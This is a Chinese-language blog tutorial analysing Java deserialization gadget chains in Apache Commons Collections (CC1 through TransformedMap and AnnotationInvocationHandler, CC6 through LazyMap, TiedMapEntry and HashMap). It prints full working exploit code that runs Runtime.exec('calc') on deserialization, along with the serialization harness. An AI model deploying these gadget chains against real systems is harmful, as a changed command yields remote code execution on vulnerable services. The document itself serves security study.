Java反序列化之CC链

Commons Collections

CC1

1
2
Commons Collections <= 3.2.1
jdk <= 8u65

危险的方法调用:Transform.transform()

Transformer接口,该接口主要就是定义了一个接口方法transform()

实现这个接口的类中,有这样几个利用链中所涉及到的类:

ConstantTransformer类:

ConstantTransformer类中的transform()方法:

返回一个常量,该常量在构造方法调用的时候就确定了,因此,后续不管transform()方法传入什么对象,都将返回构造对象时构造方法传入的那个对象

InvokerTransformer类:

该类的transform()方法实现了一个完美的反射方法调用,具体流程如下:

传入一个对象,对该对象获取其Class原型,然后获取其方法以及方法参数类型,方法参数值,最后调用传入对象的该方法,

方法名,参数类型列表以及参数列表在其构造函数中被赋值,emmm,怎么说呢,很难不怀疑是什么奇怪的后门。。。

简单测试一下,注意构造方法中的参数类型,出现了计算器弹窗

1
2
3
4
5
6
7
8
9
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Test {
public static void main(String[] args) throws Exception{
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
}
}

ChainedTransformer类:

该类的transform()方法实现了对实现Transformer接口的对象的transform()方法的链式调用,上一个transform()调用的输出作为下一个transform()调用的输入:

iTransformers数组是在构造函数中赋值的,是一个Transformer对象数组

再结合一下上面的InvokerTransformer以及ConstantTransformer,由于不管传入什么ConstantTransformer都返回新建对象时构造函数传入的那个对象,因此这里在调用chainedTransformertransform()方法时随便传了个整型对象666进去,也成功出现弹窗:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Test {
public static void main(String[] args) throws Exception{
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(666);
}
}

初步构造利用链:

但是呢,现在为止,有个问题,就是,Runtime类并没有实现Serializable接口,怎么序列化?怎么获取Runtime对象?

解决方案就是Class类实现了Serializable,那么就可以通过反射来获取一个Runtime对象

一个普通的反射代码如下:

1
2
3
4
5
Class<?> c = Runtime.class;
Method method = c.getDeclaredMethod("getRuntime");
Object runtime = method.invoke(null,null);//两个null,第一个是因为getRuntime是静态方法,第二个是因为它是无参函数
Method execMethod = c.getMethod("exec",new Class[]{String.class});
execMethod.invoke(runtime,"calc");

使用InvokerTransformer来改写:

1
2
3
4
Class<?> c = (Class<?>) new ConstantTransformer(Runtime.class).transform(666);
Method runtimeMethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(runtimeMethod);
Method execMethod = (Method) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

再使用ChainedTransformer串起来:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

最后再调用一下chainedTransformer的transform()方法,随便传入什么都行,因为链的第一个节点是ConstantTransformer,所以不管传入什么传给下一节点的对象都是Runtime.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class Test {
public static void main(String[] args) throws Exception{
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(666);
}
}

成功弹窗计算器:

构造完整利用链(TransformedMap):

基于上面的利用链雏形,我们发现要想触发计算器,就必须要调用ChainedTransformer的transform()方法,我们去找transform的同名方法,先分析基于TransformedMap的一条链,查找transform()的同名方法调用,这条链是利用的TransformedMap中的checkSetValue()方法

该方法调用valueTransformer的transform()方法,

valueTransformer是什么?跟到构造函数中看,发现就是在调用构造函数时传入的参数,

有个问题,那就是构造函数是受保护方法,很好,没法直接调用了。在类中发现decorate()方法调用了该构造方法,并且decorate()是public的静态方法,很好,这就可以返回一个TransformedMap对象了,

查找checkSetValue()方法的同名方法调用,发现只有一处调用了:

在AbstractInputCheckedMapDecorator的内部类MapEntry下的setValue()方法中,AbstractInputCheckedMapDecorator是TransformedMap的父类

怎么调用此处的setValue()?这里从直观角度分析,一个Map的每个键值对都是一个Entry,此处等于是重写了setValue(),当遍历一个继承AbstractInputCheckedMapDecorator的类(这里指TransformedMap)的Map对象时,调用每个Entry的setValue()方法即可

关于Java中Entry遍历的相关:https://www.cnblogs.com/2839888494xw/p/15042850.html

这里用最常见的方法是用entrySet()方法来遍历Map,

在自己测试的时候发现了一个有意思的点,主要是在学习这个攻击链之前很大程度上都是为了学习攻击手段而学习,对于类方法最初的用法都不清楚是什么

代码附上:

第一眼看到可能觉得这和网上大部分的exp不是近乎一样吗,但是这里我当时是想看看在这个过程中键值发生了什么变化,于是就把setValue()调用前后的键值都打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("111","222");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
for (Map.Entry entry : transformedMap.entrySet()){
System.out.println(entry.getValue());
entry.setValue("666");
System.out.println(entry.getValue());
}
}
}

结果其实很简单也很好解释,但是站在一开始对Transform接口编程开发一无所知的我的角度来看,就显得比较有意思了。

因此我去学习了一下TransformedMap到底是个什么东西

TransformedMap是Commons Collections库中的一个类,用于创建一个Map,该Map会对存储在其中的键值对进行转换。它允许你在映射的键、值或两者上应用转换器,以便在存储或检索数据时进行自定义的转换操作。TransformedMap有一个decorate()方法,可以用来包装现有的Map实现,并在包装过程中应用指定的转换器。当一个TransformedMap对象实例化后,后续再添加新的键值对也会继续经转换器处理。关于decorate()的源码上面展示过了不过多赘述也很好理解什么是原始方法什么是转化器。当然也以选择性地指定键和值的转换器。如果不需要转换键或值,可以将相应的转换器参数设为null

一个简单的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class TransformedMapExample {
public static void main(String[] args) {
// 创建一个原始的HashMap
Map<Object, Object> originalMap = new HashMap<>();
originalMap.put("key", "value");

// 创建一个转换器,将值转换为大写形式
Transformer<String, String> upperCaseTransformer = input -> input.toUpperCase();

// 使用TransformedMap包装原始Map,并应用值的转换器
Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, upperCaseTransformer);

// 添加键值对,值会自动被转换
transformedMap.put("newKey", "newValue");

// 获取并打印转换后的值
System.out.println(transformedMap.get("key")); // 输出 "VALUE"
System.out.println(transformedMap.get("newKey")); // 输出 "NEWVALUE"
}
}

再回到我们exp的的结果中,为什么一开始会得到222?其实是因为此时222经chainedTransform对象的处理后,并没有发生改变,这么说可能有点奇怪,为什么呢?是因为其还没调用setValue方法从而导致transform()方法并没有被触发,因此原先的键值222并没有被转换器chainedTransform所转换,但是一旦调用了setValue()方法后,222这个键值显然就被转化成了经过一个transform()链后所触发的一个系统进程用于执行系统命令,也就是ProcessImpl类对象

到这分析的比较ok了,那比如说我在decorate修饰完之后对原先的hashMap进行添加新的键值对,

这将会出现两个计算器弹窗,注意看输出,这说明在修饰完之后对原先的映射进行修改时,会影响到TransformMap映射对象,二者似乎是绑定在一起的

但是我一旦改成这样:

运行会发现居然出现了三个计算器弹窗?并且注意输出也有所不同,第二组键值对似乎在进入循环遍历之前就已经将222转换成ProcessImpl对象了,也就是说在这之前就执行命令了,为什么?

这里先不使用debug简单分析一下,在进入循环遍历之前有transformedMap.put("1","222");这一处很可疑,put方法?联想到之前URLDNS链分析过程中碰到的put导致的提前执行hashCode(),这里是不是也存在类似的情况?跟进去看一眼,当然是要跟进到TransformedMap类中去看它的put():

因为受转换的222是在键值的位置,调用了transformValue()方法,继续跟进去看

aha,果真是提前调用了transform()方法了,。。

也许顺着put()往上翻能再摸一条链出来?这是未来的事了,先回到主线上来:

AnnotationInvocationHandler类:

这个要自己导入对应jdk版本的sun包,导入完之后呢,我们继续顺着上面的思路(主线思路),寻找一个类在它的遍历键值对的过程中调用了setValue(),当然要是是在一个实现Ser接口的类的readObject()方法中就更好了

AnnotationInvocationHandler就是一个非常合适的类:(sun.reflect.annotation.AnnotationInvocationHandler)

它重写了readObject()方法,看看里面有什么

很幸运地找到了有一处循环遍历键值对的地方,并且对每个键值对调用了setValue(),而memberValues是我们可控的,这不是近乎完美的一个点吗?

试一下,直接序列化反序列化一下看看结果

在这之前先注意几个点,首先,AnnotationInvocationHandler和它的构造器都不是公共的,因此想创建一个AnnotationInvocationHandler对象的话要通过反射调用;

其次,AnnotationInvocationHandler构造方法的参数:

第一个参数是一个继承了注解类(Annotation)的一个Class类的对象,第二个是一个Map对象,显然我们要传入的transformedMap就是第二个参数

序列化反序列化代码写好

1
2
3
4
5
6
7
8
9
public static void ser(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("potato.dat"));
oos.writeObject(obj);
}
//反序列化
public static Object unser() throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("potato.dat"));
return ois.readObject();
}

反射实例化获取AnnotationInvocationHandler对象,并传入参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("11", "222");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,transformedMap);
ser(o);
unser();
}

沉默。。安静。。无事发生,并没有触发计算器弹窗,猜测就是AnnotationInvocationHandler的if那边进不去了,打个断点到第一个if,直接步过了,看来没触发条件,那就仔细分析一下条件吧

这里是对memberType进行判断,往回看memberType是从memberTypes中获取键名为name变量的键值,而name变量是memberValue中获取键名得到的,也就是说memberTypes中需要存在一个属性,该属性与memberValues的一个键名相同

放到代码中来说,就是我的transformedMap需要有一个键名,这个键名同名的方法存在于我们选择的注解类中

因此,我们选择的注解中需要有属性,上文测试的Override注解其实并没有属性:

但是Target注解就有一个value方法了,

因此,推上一个键名为”value”的键值对,并且在新建AnnotationInvocationHandler对象时要传入一个有value方法的注解的类原型

1
2
3
hashMap.put("value", "222");
......
Object o = constructor.newInstance(Target.class,transformedMap);

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "222");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);
ser(o);
unser();
}
//序列化
public static void ser(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("potato.dat"));
oos.writeObject(obj);
}
//反序列化
public static Object unser() throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("potato.dat"));
return ois.readObject();
}

}

构造完整利用链(LazyMap)

CC6

LazyMap类:

在前面寻找哪里调用了transform()方法时,不是还看到了个LazyMap吗?它的get()方法中也调用了transform()方法,factory是可控的,我们在构造函数中可以赋值key我们也是可控的,因此可以人为操控传入的key使得满足if的条件,接下来就继续寻找一个类方法使得能让某个属性调用get()方法并且值可控

LazyMap的构造方法也是受保护的,因此同样需要用decorate()方法来调用。get()方法调用的是map属性的transform()方法,因此chainedTransform要传入第一个参数,第二个参数随便传一个Transform对象即可:

TiedMapEntry类:

寻找get()的调用,注意到TiedMapEntry类下的getValue()方法,调用了map属性的get方法,传值为key

而map和key属性都是在构造方法中赋值好的:

目前为止一切完美,继续找getValue()的调用:

在其hashCode()方法下发现了getValue()方法的调用

hashCode()?

没错,正是前面URLDNS那条链的hashCode()方法调用

再分析一下,首先HashMap作为入口类,它的readObject()方法重写并调用了hash()方法:

hash()方法内部调用了hashCode(),这就走到了先前的位置,至此一条链完成

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "222");
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"1");

ser(hashMap1);
unser();

确实出现了计算器弹窗,但是不需要反序列化也可以,这不禁让人想到了之前URLDNS链的那一个类似的点,因为put()方法中也会调用hash()方法,

那就采取和当时类似的做法呗,既然put会调用hash那就先在这之前通过反射修改某些属性使得这条链无法走下去

这里直接选择把lazyMap的chainedTransformer改成随便一个Transform对象,put之后再通过反射将lazyMap.factory的值改为chainedTransformer,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "222");
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(66));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"1");

Class<?> c = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

ser(hashMap1);
unser();

但是这下好了,弹窗都没了。。

借鉴大佬们的文档问题似乎出在了LazyMap的get()方法上,LazyMap,字面意思很好理解也就是懒加载,当判断map中获取不到key,也就是get不到时,就去调用factory的transform方法来向map中添加一组键值对并返回调用transform()方法后的结果。一开始在调用put()方法时避免不了调用hashCode(),也就无法避免使用getValue()->get()方法,因此键名为1键值为66的键值对在put时就会插入到lazyMap.map中,当向map中插入这个键值对之后,也就是说lazyMap的map中此时已经存在了1->66这个键值对了,这时候进行反序列化是无法满足这个if的判断的,因此我们只需要在调用put方法过后删除掉1这个键即可

添加

反序列化出现计算器弹窗:

完整代码附上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.example;

import com.sun.javafx.collections.MappingChange;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "222");
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(66));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"1");

lazyMap.remove(1);

Class<?> c = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

ser(hashMap1);
unser();

}
//序列化
public static void ser(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("potato.dat"));
oos.writeObject(obj);
}
//反序列化
public static Object unser() throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("potato.dat"));
return ois.readObject();
}

}

其实这段代码中,反射修改值的这一步并不是非常有必要,因为此处提前触发弹窗但是并不会造成某些属性的值改变(key值的插入是必然的,无关lazyMap中的factory是否为chainedTransformer)

作者

Potat0w0

发布于

2024-02-05

更新于

2024-02-14

许可协议


评论